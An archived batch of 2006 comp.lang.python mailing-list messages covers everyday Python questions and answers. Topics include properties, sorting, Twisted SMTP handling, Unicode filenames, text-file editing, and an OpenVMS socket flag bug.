	<egfmaj$hcf$1@sea.gmane.org>
Message-ID: <007c01c6ecf1$c2710ca0$03000080@hendrik>

 "Fredrik Lundh" <fredrik at pythonware.com> wrote:
> Nick Vatamaniuc wrote:
>
> > At the same time one could claim that Python already has certain
> > policies that makes it seem as if it has a component model.
8<----------------------------------------------------------------------------

> implementing this using existing mechanisms is trivial (as the endless
> stream of interface/component/adapter/trait implementations have shown
> us); coming up with a good-enough-to-be-useful-for-enough-people
> vocabulary is a lot harder.

not sure if its trivial - but agree about the generality - my meat is your
poison effect operating here -
and also - standards are not per se a *Good Thing* - they stifle both
inventiveness and diversity...

- Hendrik



From fred at adventistcare.org  Thu Oct  5 13:05:11 2006
From: fred at adventistcare.org (Sells, Fred)
Date: Thu, 5 Oct 2006 13:05:11 -0400 
Subject: Where is Python in the scheme of things?
Message-ID: <1A4BF05172023E468CB6E867923BC90402B6E2C5@accmail2.sunbelt.org>

Every C++ and Java programmer that I know, who have done a moderate sized
project in Python (thus requiring learning it's strengths) states that they
hope to never go back to C++ or Java.

I cannot comment on VB programmers, since I don't speak to them ;)


From steven.klass at gmail.com  Wed Oct 11 10:59:40 2006
From: steven.klass at gmail.com (rh0dium)
Date: 11 Oct 2006 07:59:40 -0700
Subject: default variable in python $_
In-Reply-To: <1160552922.041176.283170@e3g2000cwe.googlegroups.com>
References: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
	<1160552922.041176.283170@e3g2000cwe.googlegroups.com>
Message-ID: <1160578780.804058.144730@h48g2000cwc.googlegroups.com>

Hi Maria,

This is exactly what I was looking for.  I (as others have asked me to)
cleared my head of the other languages, but was mearly giving perl as
an example indicating the compactness I was after.

Thanks Maria!!

MaR wrote:
> rh0dium wrote:
> > Hi all,
> >
> > So I have this simple little routine..  say like this..
> >
> >
> > def foo()
> >    return {"a":"b", "b":"c"}
> >
> > if foo():
> >    print "Have foo"
> >
> >
> > Now I want the dictionary item a (ie. b)
> >
> > How can I do it the above way or do I still have to go like this..
> >
> > def foo()
> >    return {"a":"b", "b":"c"}
> >
> > z = foo()
> > if z:
> >    print "Have foo"
> >    print z['a']
> >
> > This is where $_ in perl is awesome - There must be a default variable
> > in python right?
>
> As said in earlier response, such a default variable is *dangerous* at
> best!
> Not knowing much about Perl and guessing that the $_ is a global
> storage space, my immediate thought is; What happens if you have
> multiple threads?
>
> The example is too simplified to give any clues as to what you are
> needing the feature for.
> Guessing that you want to generate some dict() and use the result once
> and then discard, write:
>
> foo_default = 1
> def foo(): return(generate_some_dict())
>
> you can further write
>
> foo().get('a', foo_default)
>
> giving compact code and ensuring that you get a well defined result
> regardless what dictionary keys there are.



From pavlovevidence at gmail.com  Wed Oct 18 04:27:37 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 18 Oct 2006 01:27:37 -0700
Subject: creating many similar properties
In-Reply-To: <1161158181.103138.294330@b28g2000cwb.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
Message-ID: <1161160057.392965.323330@m73g2000cwd.googlegroups.com>


George Sakkis wrote:
> Michele Simionato wrote:
> > import sys
> >
> > def defprop(name, default=127):
> >     loc = sys._getframe(1).f_locals
> >     prop = '_%s' % name
> >     def _set(self, v):
> >         v_new = v % 256
> >         setattr(self, prop, v_new)
> >     def _get(self):
> >         return getattr(self, prop, default)
> >     loc[name] = property(_get, _set)
> >
> > class RC(object):
> >     defprop('pwm01')
> >     defprop('pwm02')
> >
> > rc = RC()
> >
> > print rc.pwm01 # 127
> > print rc.pwm02 # 127
> > rc.pwm02 = 1312
> > print rc.pwm02 # 32
> >
> > This is a bit hackish, but I would prefer this over a metaclass
> > solution. since it does not add
> > any hidden magic to your class.
>
> Why is this less hidden or magical than a metaclass ?

Devil's Advocate: he did say "hidden magic TO YOUR CLASS".

If you use a (real) metaclass, then you have the icky feeling of a
class permanently tainted by the unclean metaclass (even though the
metaclass does nothing other than touch the class dict upon creation);
whereas if you use Michele Simionato's hack, the icky feeling of using
a stack frame object goes away after the property is created: you are
left with a clean untainted class.

Personally, the former doesn't make me feel icky at all.


Carl Banks



From martin at v.loewis.de  Wed Oct  4 02:13:14 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 08:13:14 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7xven097pk.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<7x1wppk21c.fsf@ruckus.brouhaha.com>
	<4522c0f4$0$29116$9b622d9e@news.freenet.de>
	<7xven097pk.fsf@ruckus.brouhaha.com>
Message-ID: <452350FA.5030005@v.loewis.de>

Paul Rubin schrieb:
> "Martin v. L?wis" <martin at v.loewis.de> writes:
>> It is a fork of an old version. Existence of this version hasn't helped
>> a bit when we tried to get our data out of sf.net.
> 
> Yeah, I'd guessed it might be a fork.  Is there stuff in sf.net that a
> web robot can't retrieve?

We ended up getting the data with a web robot. There were two problems:
1. SF times out all the time, and fetching the data takes quite some
   time (not sure how long Fredrik Lundh needed, but I recall that
   Richard Jones once needed several days to get all data). There
   is also the theory that SF will lock out clients that fetch data
   at a too-high rate, so when you get locked out, you need to wait
   some time until you can continue; what rate is acceptable is
   not documented.
2. The web view gets HTML wrong in many places; things are rendered
   as HTML entity references when really the character should be
   displayed itself; non-ASCII characters don't work well. It might
   be that having the raw data would allow for better quality.

There used to be another problem that SF was inconsistent on displaying
user names (sometimes, account names were displayed, and sometimes
real names), but that seems not to be a problem anymore.

Regards,
Martin


From onurb at xiludom.gro  Tue Oct 24 08:40:36 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 14:40:36 +0200
Subject: A py2exe like tool for Linux
In-Reply-To: <mailman.1063.1161692827.11739.python-list@python.org>
References: <mailman.1063.1161692827.11739.python-list@python.org>
Message-ID: <453e09c5$0$12351$426a74cc@news.free.fr>

Paolo Pantaleo wrote:
> Hi,
> 
> is thre something like py2exe for Linux? I don't need to build a
> standalone executable (most Linuxes have python instaled), but at
> least I need to provide all the needed libraries togheter with my
> source code, so users just need to download one file, and not several
> libraries.

Then google for easy_install + "python-eggs".

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fredrik at pythonware.com  Mon Oct 16 13:56:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 19:56:03 +0200
Subject: OT: What's up with the starship?
In-Reply-To: <1160983523.518768.16110@e3g2000cwe.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>	<SEhYg.7681$gL.2383@southeast.rr.com>	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
Message-ID: <eh0h3k$620$1@sea.gmane.org>

rurpy at yahoo.com wrote:

> But, I am still completely at a loss why you, he, or anyone,
> based on the information presented so far,.would conclude
> that the python security problem is unrelated.

Because he's read the security advisory, perhaps, and understands what 
it says?

</F>



From aahz at pythoncraft.com  Sat Oct  7 10:14:38 2006
From: aahz at pythoncraft.com (Aahz)
Date: 7 Oct 2006 07:14:38 -0700
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<eg75h3$lg9$1@panix3.panix.com>
	<1160201214.367444.250270@i42g2000cwa.googlegroups.com>
Message-ID: <eg8coe$aqo$1@panix3.panix.com>

In article <1160201214.367444.250270 at i42g2000cwa.googlegroups.com>,
John Machin <sjmachin at lexicon.net> wrote:
>Aahz wrote:
>> In article <1160182951.812677.178750 at i42g2000cwa.googlegroups.com>,
>> MonkeeSage <MonkeeSage at gmail.com> wrote:
>>>On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote:
>>>>
>>>> The following line of lightly munged code was found in a publicly
>>>> available Python library...
>>>
>>>Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh),
>>>which was written by the very finger of God when the world was still in
>>>chaotic darkness.
>>
>> Did you actually analyze the line of code?  Particularly WRT the way it
>> operates in different versions of Python?
>
>A comment on the "style" issue, before we get into the real WTF
>analysis: any function/method whose name begins with "has" or "is"
>returns an honest-to-goodness actual bool (or what passed for one in
>former times). IMHO, any comparison with [] being regarded as false and
>[0] being regarded as true is irrelevant, and writing "has_something()
>== False" or "has_something() is False" is utterly ludicrous.

Exactly.  Another way of putting this: it's so wrong, it isn't even
wrong.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From gagsl-py at yahoo.com.ar  Thu Oct  5 02:38:30 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 03:38:30 -0300
Subject: Hands on Documentation for Python methods and Library
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A061588@mailbe01.teak.local .net>
References: <3ACF03E372996C4EACD542EA8A05E66A061588@mailbe01.teak.local.net>
Message-ID: <7.0.1.0.0.20061005032956.01d2e588@yahoo.com.ar>

At Thursday 5/10/2006 01:54, Wijaya Edward wrote:

>One can do the following with Perl
>
>$ perldoc -f chomp
>$ perldoc -f function_name
>
>or
>
>$ perldoc List::MoreUtils
>$ perldoc Some::Module
>
>Can we do the same thing in Python?

s/perl/py/g
See the pydoc module.



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From python.list at tim.thechases.com  Mon Oct 16 15:10:50 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Mon, 16 Oct 2006 14:10:50 -0500
Subject: Need a strange sort method...
In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
Message-ID: <4533D93A.8090102@tim.thechases.com>

> for example:
> a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
> 
> def cmp(i,j):  #to be defined in this thread.

Well, if you're willing to give up doing it in a cmp() method, 
you can do it as such:

 >>> a.sort()
 >>> chunk_size = 3
 >>> [a[i::chunk_size] for i in range(chunk_size)]
[[1, 4, 7, 10], [2, 5, 8], [3, 6, 9]]

If you need it in a flat list, rather than as a list of 
chunk_size lists (which are handy for iterating over in many 
cases), there are ways of obtaining it, such as the hackish

 >>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
[1, 4, 7, 10, 2, 5, 8, 3, 6, 9]

There are likely good recipes for flattening a list.  I just 
happen not to have any at my fingertips.

I'm not sure it's possible to do in a cmp() method, given that it 
requires apriori knowledge of the dataset (are the numbers 
contiguous?).  Unless, of course, you have such a list...

However, as a benefit, this method should work no matter what the 
list contains, as long as they're comparable to each other for an 
initial sorting:

 >>> a = [chr(ord('a') + i) for i in range(10)]
 >>> # a.sort() if it were needed
 >>> a
['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']
 >>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
['a', 'd', 'g', 'j', 'b', 'e', 'h', 'c', 'f', 'i']


-tkc






From jakobsg at gmail.com  Tue Oct  3 02:59:18 2006
From: jakobsg at gmail.com (jakobsg at gmail.com)
Date: 2 Oct 2006 23:59:18 -0700
Subject: Determin network interface
In-Reply-To: <zUkUg.12566$7I1.8808@newssvr27.news.prodigy.net>
References: <1159828540.208599.187310@m73g2000cwd.googlegroups.com>
	<zUkUg.12566$7I1.8808@newssvr27.news.prodigy.net>
Message-ID: <1159858758.605948.247100@m7g2000cwm.googlegroups.com>

Thanks a bunch! That is just what I was looking for !

Best regards Jakob

Bryan Olson skrev:
> jakobsg at gmail.com wrote:
> > Hi. How can I determin the hwaddr or ipaddress of the networkinterface
> > that is used in an outgoing connection?
>
> Is sock_object.getsockname() enough?
>
>      http://docs.python.org/lib/socket-objects.html
> 
> 
> -- 
> --Bryan



From sachinpunjabi at gmail.com  Mon Oct 30 02:30:24 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 29 Oct 2006 23:30:24 -0800
Subject: Lookuperror : unknown encoding : utf-8
Message-ID: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>

Hi,

I wanted to read a file encoded in utf-8 and and using the following
syntax in my source which throws me an error specifying Lookuperror :
unknown encoding : utf-8. Also I am working on Python version 2.4.1.

import codecs
fileObj = codecs.open( "data.txt", "r", "utf-8" )

Can anyone please guide me how do I get utf-8 activated in my codecs or
any setting needs to be done for the same before using codecs.

Regards
Sachin Punjabi.



From http  Sat Oct 14 19:09:49 2006
From: http (Paul Rubin)
Date: 14 Oct 2006 16:09:49 -0700
Subject: Ok. This IS homework ...
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
Message-ID: <7x4pu6cx4y.fsf@ruckus.brouhaha.com>

"spawn" <evilrottenspawn at gmail.com> writes:
>  That's not the problem, in fact, that part works.  It's the adding
> that isn't working.  How can my program add 2 + 7 and come up with 14?
> 	while running:
> 		guess = int(raw_input('I\'ll need another number : '))
> 		running_total = guess +	subtotal
> 		print running_total

You are never modifying the running total.  I think you want to
initialize the running total to the first guess outside the loop, then
add guess to it when you read a new number.  You can add to a variable
like this:
              running_total += guess

this is approx. the same thing as

              running_total = running_total + guess

I don't think subtotal and running_total need to be separate variables.


From exarkun at divmod.com  Fri Oct 20 11:47:11 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Fri, 20 Oct 2006 11:47:11 -0400
Subject: Newbie: trying to twist my head around twisted (and python)
In-Reply-To: <12ivgjjsgbq6t31@corp.supernews.com>
Message-ID: <20061020154711.26151.1548676514.divmod.quotient.8141@ohm>

On Fri, 13 Oct 2006 18:44:35 +0200, Jan Bakuwel <jan.bakuwel at int.greenpeace.org> wrote:
>Jean-Paul Calderone wrote:
>
>> The return value of eomReceived is used to determine whether to signal to
>> the SMTP client whether the message has been accepted.  Regardless of your
>> application logic, if you are taking responsibility for the message, you
>> should return a successful result.  If all of your processing is
>> synchronous,
>> then you simply need to return twisted.internet.defer.succeed(None) at the
>> end of the function.  If you have asynchronous processing to do (it does
>> not
>> appear as though you do), you will need to return a Deferred which only
>> fires
>> once that processing has been completed.
>
>There's still a bit of mystery in here for me...
>I'll be taking responsibility for the message in my code... but perhaps
>my code encounters a non resolvable error (such as disc full). In that
>case I would like to be able to signal a failure instead of success.
>
>Would the following code do the job "properly"?
>
>    def eomReceived(self):
>        # message is complete, store it
>        self.lines.append('') # add a trailing newline
>        messageData = '\n'.join(self.lines)
>        emailMessage = message_from_string(messageData)
>        try:
>            processEmail(emailMessage)
>            return defer.succeed(None)
>        except:
>            return defer.fail
>    #end eomReceived

Close.  Return defer.fail() and it's basically correct.  Sorry for the
delayed response, python-list is high enough traffic that tracking down
followups is kind of a hassle.  You might want to move over to the Twisted
list for further Twisted questions.

Jean-Paul


From jeremy+complangpython at jeremysanders.net  Mon Oct 30 15:19:54 2006
From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders)
Date: Mon, 30 Oct 2006 20:19:54 +0000
Subject: Python 123 introduction
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
	<1162230329.413075.93370@b28g2000cwb.googlegroups.com>
	<mailman.1503.1162234443.11739.python-list@python.org>
Message-ID: <ei5mpa$lsq$1@gemini.csx.cam.ac.uk>

skip at pobox.com wrote:

> I'm not trying to minimize Jeremy's efforts in any way, but how is his
> tutorial a significant improvement over the original
> (http://www.python.org/doc/current/tut/)?

It's not intended as a replacement, but what I wanted to do was write a
quick 2 hour course for people to work through. It overlaps quite a bit
with the tutorial, but I tried to minimise any detail.

I just publicised it in case anybody wanted something similar.

Jeremy

-- 
Jeremy Sanders
http://www.jeremysanders.net/


From ilias at lazaridis.com  Fri Oct  6 19:08:26 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 6 Oct 2006 16:08:26 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <trhgv3-g7h.ln1@nb2.stroeder.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>
	<mailman.1321.1160029812.10491.python-list@python.org>
	<1160075219.326684.170770@k70g2000cwa.googlegroups.com>
	<trhgv3-g7h.ln1@nb2.stroeder.com>
Message-ID: <1160176106.078829.303980@i42g2000cwa.googlegroups.com>


Michael Str?der wrote:
> Ilias Lazaridis wrote:
> >
> > You need just 2 active contributors - and the python community, not
> > more
>
> Hmm, this number does not say much. It really depends on the required
> service level and how much time these two people can spend for
> maintaining the tracker service.

that was not the essence of the sentence, see full context:

[REQUOTE]
You need just 2 active contributors - and the python community, not
more (it's open source - so do some plumbing yourself, even if you are
the Python Foundation).

Alternatively, why don't you place an requirement "active open source
project which can process request from the foundation"?

Because this could have a negative influence on selecting Roundup?

(this is the reverse selection process. Select the candidate and adjust
the requirements). 
[/REQUOTE]



From no-spam at no-spam-no-spam.com  Mon Oct 30 12:21:17 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Mon, 30 Oct 2006 18:21:17 +0100
Subject: create global variables?
In-Reply-To: <mailman.1495.1162227948.11739.python-list@python.org>
References: <mailman.1495.1162227948.11739.python-list@python.org>
Message-ID: <ei5caf$kbg$1@news.albasani.net>

Alistair King wrote:
> Hi,
> 
> is there a simple way of creating global variables within a function?
> 

#module global:

def f(atom):
    global a
    a=1
    globals()[atom+'var']=2

def f():
    a=b=1
    globals().update(locals())

_global=sys.modules[__name__]

def f(atom):
    _global.a = 1
    setattr(_global,atom+'var', 2)

# all/app global 

import myglobals

def f(atom):
    myglobals.a=1
    setattr(myglobals....)


your example application seems to point towards 'odd' use of these techniques.


-robert


From hanumizzle at gmail.com  Fri Oct 13 10:37:53 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 10:37:53 -0400
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <463ff4860610130737r5863727fje03f8d5dfe20e4eb@mail.gmail.com>

On 13 Oct 2006 07:29:09 -0700, Ahmer <ahmerhussain at gmail.com> wrote:
> What do you guys use?
> Why?
> What do you like and hate about it?
> What platform(s) is it avalable on?
> How much does it cost?
> etc.

I use GNU Emacs 22 and a screen session.

Advantages:

* Comprehensive, comprehensive, comprehensive...tags support,
Subversion integration, syntax highlighting, sophisticated
indentation, whatever I want basically
* Resource-light, contrary to the preconceived opinions some have of Emacs
* Keyboard-oriented; ergonomic and fast (Xfce is set up to switch
desktops by key as well)
* Available on any major platform that you would want to use Python on
* And it's free

Disadvantages:

* No UI builder...for this you can use Glade or maybe Boa Constructor
* Not many else...none other that I can think of right now, actually

-- Theerasak


From onurb at xiludom.gro  Wed Oct 11 12:10:52 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 18:10:52 +0200
Subject: Regular expression worries
In-Reply-To: <1160581598.414778.11850@h48g2000cwc.googlegroups.com>
References: <1160581598.414778.11850@h48g2000cwc.googlegroups.com>
Message-ID: <452d178d$0$8106$426a34cc@news.free.fr>

CSUIDL PROGRAMMEr wrote:
> folks
> I am new to python, so excuse me if i am asking stupid questions.

>From what I see, you seem to be new to programming in general !-)

> I have a txt file  and here are some lines of it
> 
> Document<Keyword<date:2006-08-19> Keyword<time:11:00:43>
> Keyword<username:YOURBOTNICK> Keyword<data:localhost.localdomain>
> Keyword<logon:localhost.localdomain
>   > Keyword<date:2006-08-19> Keyword<time:11:00:44> Keyword<sender:>
> Keyword<receiver:> Keyword<data::+iwx> Keyword<mode::+iwx
> 
> I am writing a python program to replace the tags and word  Document
> with Doc.
> 
> Here is my python program
> 
> #! /usr/local/bin/python
> 
> import sys
> import string
> import re
> 
> def replace():
>   filename='/root/Desktop/project/chatlog_20060819_110043.xml.txt'
>   try:
>     fh=open(filename,'r')
>   except:
>     print 'file not opened'
>     sys.exit(1)

You open your file a first time, and bind the reference to the file
object to fh.

>   for  l in
> open('/root/Desktop/project/chatlog_20060819_110043.xml.txt'):

And then you open the file a second time...

>       l=l.replace("Document", "DOC")

This modifies the string referenced by l (talk about a bad name) and
rebind to the same name

>       fh.close()

Then you close fh... and discard the modifications to l.

> if __name__=="__main__":
>   replace()
> 
> But it does not replace Document with Doc in  the txt file

Why should it ? You didn't asked for it !-)

> Is there anything wrong i am doing

Yes.

The canonical way to modify a text file is to read from original / do
transformations / *write modifications to a tmp file* / replace the
original with the tmp file.


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fumanchu at amor.org  Sun Oct  8 17:50:37 2006
From: fumanchu at amor.org (fumanchu)
Date: 8 Oct 2006 14:50:37 -0700
Subject: WSGI - How Does It Affect Me?
References: <mailman.70.1160336094.11739.python-list@python.org>
Message-ID: <1160344237.314657.46890@i3g2000cwc.googlegroups.com>

Gregory Pi?ero wrote:
> Examples of how frameworks don't meet my needs sometimes:
> 1. Working with SQL Server (Most frameworks seem to at least make it extra work)

I don't know about "most frameworks", but there are certainly some that
work with SQL Server. My Dejavu ORM does SQL Server and MS Access
(among others): http://projects.amor.org/dejavu

> 2. Need web app to get data from other programs via API (eg QuickBooks)
>    Can any web framework work happily with win32 extensions?

I use win32 extensions quite happily with Dejavu (and CherryPy). I've
got a similar situation with The Raiser's Edge from Blackbaud: reads
are done via SQL Server (for speed) and writes are done via their COM
interfaces. In fact, we were looking at using Quickbooks for that but
made our decision about 2 months before Intuit announced their first
open API. :/

> 3. Using IIS at all for that matter, does WSGI work on IIS, do any frameworks?

They can with some work. When I first started coding for/with CherryPy,
I wrote a WSGI adapter for ASP:
http://projects.amor.org/misc/wiki/ASPGateway (I've since switched to
Apache2 on Windows, but that code should still work). I believe there's
a WSGI-ISAPI adapter somewhere out there... last time I looked, it
didn't do SSL or multithreading yet.


Robert Brewer
System Architect
Amor Ministries
fumanchu at amor.org



From leo.kislov at gmail.com  Wed Oct 18 17:44:49 2006
From: leo.kislov at gmail.com (Leo Kislov)
Date: Wed, 18 Oct 2006 14:44:49 -0700
Subject: right curly quote and unicode
Message-ID: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com>

On 10/17/06, TiNo <tinodb at gmail.com> wrote:
> Hi all,
>
> I am trying to compare my Itunes Library xml to the actual files on my
> computer.
> As the xml file is in UTF-8 encoding, I decided to do the comparison of the
> filenames in that encoding.
> It all works, except with one file. It is named 'The Chemical
> Brothers-Elektrobank-04 - Don't Stop the Rock (Electronic Battle Weapon
> Version).mp3'. It goes wrong with the apostrophe in Don't. That is actually
> not an apostrophe, but ASCII char 180: ?

It's actually Unicode char #180, not ASCII. ASCII characters are in
0..127 range.

> In the Itunes library it is encoded as: Don%E2%80%99t

Looks like a utf-8 encoded string, then encoded like an url.

> I do some some conversions with both the library path names and the folder
> path names. Here is the code:
> (in the comment I dispay how the Don't part looks. I got this using print
> repr(filename))
> -------------------------------------------------------------
> #Once I have the filenames from the library I clean them using the following
> code (as filenames are in the format '
> file://localhost/m:/music/track%20name.mp3')
>
> filename = urlparse.urlparse(filename)[2][1:]  # u'Don%E2%80%99t' ; side
> question, anybody who nows a way to do this in a more fashionable way?
> filename = urllib.unquote (filename) # u'Don\xe2\x80\x99t'

This doesn't work for me in python 2.4, unquote expects str type, not
unicode. So it should be:

filename = urllib.unquote(filename.encode('ascii')).decode('utf-8')


> filename = os.path.normpath(filename) # u'Don\xe2\x80\x99t'
>
> I get the files in my music folder with the os.walk method and then
> I do:
>
> filename = os.path.normpath(os.path.join (root,name))  # 'Don\x92t'
> filename = unicode(filename,'latin1') # u'Don\x92t'
> filename = filename.encode('utf-8') # 'Don\xc2\x92t'
> filename = unicode(filename,'latin1') # u'Don\xc2\x92t'

This looks like calling random methods with random parameters :)
Python is able to return you unicode file names right away, you just
need to pass input parameters as unicode strings:

>>> os.listdir(u"/")
[u'alarm', u'ARCSOFT' ...]

So in your case you need to make sure the start directory parameter
for walk function is unicode.


From steve at holdenweb.com  Thu Oct 12 22:41:17 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Oct 2006 03:41:17 +0100
Subject: Python component model
In-Reply-To: <1160689455.771396.178430@h48g2000cwc.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<pan.2006.10.09.18.24.45.251048@gmx.net>	<452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de>	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>	<12itd1as7dg9jdd@corp.supernews.com>
	<1160689455.771396.178430@h48g2000cwc.googlegroups.com>
Message-ID: <452EFCCD.5010008@holdenweb.com>

Paul Boddie wrote:

> I'm not at the cutting edge here: 20j and 20k are the commands (replace
> 20 with another suitable amount) which help me jump around in my editor
> of choice. The other commands which may be more effective just aren't
> in my "working set".
> 
You *might* find CTRL/U and CTRL/D helpful ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From maxm at mxm.dk  Sun Oct  1 12:09:58 2006
From: maxm at mxm.dk (Max M)
Date: Sun, 01 Oct 2006 18:09:58 +0200
Subject: builtin regular expressions?
In-Reply-To: <slrnehuuq6.gim.grahn+nntp@frailea.sa.invalid>
References: <451e37a5$1@news.vo.lu> <efm04n$lb3$1@mlucom4.urz.uni-halle.de>
	<mailman.1003.1159631137.10491.python-list@python.org>
	<MPG.1f88cf81c13811a398968d@news.individual.de>
	<slrnehuuq6.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <451fe857$0$14043$edfadb0f@dread15.news.tele.dk>

Jorgen Grahn skrev:
> On Sat, 30 Sep 2006 20:01:57 +0100, Thorsten Kampe <thorsten at thorstenkampe.de> wrote:

>> And the simple reason why Regular Expressions are not a part of the 
>> core Python language is that Regular Expressions are overrated.
> 
> It seems to me they are currently /underrated/ in the Python community. Or,
> I suspect, everybody disrespects them in public but secretly use them when
> they're hacking ;-)


When I used to program in Perl I used regex' for lots of stuff. In 
python I probably use them once every half year. I sinply do not need them.


Max M


From skip at pobox.com  Tue Oct 31 19:16:03 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 31 Oct 2006 18:16:03 -0600
Subject: "best" rational number library for Python?
In-Reply-To: <1162334329.429582.136710@e64g2000cwd.googlegroups.com>
References: <mailman.1558.1162317188.11739.python-list@python.org>
	<1162332835.005490.38220@b28g2000cwb.googlegroups.com>
	<1162334329.429582.136710@e64g2000cwd.googlegroups.com>
Message-ID: <17735.59203.790092.635942@montanaro.dyndns.org>


    >> I just compiled GMP 4.2.1 on a P4 using
    >> 
    >> $ CFLAGS="" CC=gcc ./configure
    >> $ gmake; gmake check
    >> 

    casevh> You must use "gmake". "make" fails during "make check"

Very weird:

    piggy:% make -v
    GNU Make 3.80
    Copyright (C) 2002  Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.
    piggy:% gmake -v
    GNU Make 3.80
    Copyright (C) 2002  Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.

Nevertheless, using "gmake" instead of "make" did indeed work.  Thanks for
the hint.

Skip


From irmen.NOSPAM at xs4all.nl  Sun Oct 22 13:00:22 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Sun, 22 Oct 2006 19:00:22 +0200
Subject: Socket module bug on OpenVMS
Message-ID: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>

Hi,

Recently I was bitten by an apparent bug in the BSD socket layer
on Open VMS. Specifically, it appears that VMS defines MSG_WAITALL
in socket.h but does not implement it (it is not in the documentation).
And I use the socket.MSG_WAITALL flag on my recv() calls... and
then they crash on OpenVMS.

I don't have access to an OpenVMS machine myself so could someone
else that has (or has more knowledge of it) shed some light on it?



This also raises the question to what extent Python itself should
work around platform specific "peculiarities", such as this one.
There's another problem with socket code on Windows and VMS systems,
where you get strange exceptions when using a "too big" recv() buffer.

Things like this force me into writing all sorts of error checking
code or platform specific functions, to work around these bugs.
Just for what was supposed to be a simple socket recv() and a
simple socket send()...

In my opinion Python's socket module itself could implement these
workarounds. That would make user code a lot cleaner and less
error prone, and more portable. What do other people think?


Regards
--Irmen de Jong


From clodoaldo.pinto at gmail.com  Mon Oct 16 12:46:55 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 16 Oct 2006 09:46:55 -0700
Subject: Output from subprocess.Popen()
In-Reply-To: <0Rl*4ootr@news.chiark.greenend.org.uk>
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
	<mailman.543.1160924688.11739.python-list@python.org>
	<1160928257.204029.99580@m7g2000cwm.googlegroups.com>
	<0Rl*4ootr@news.chiark.greenend.org.uk>
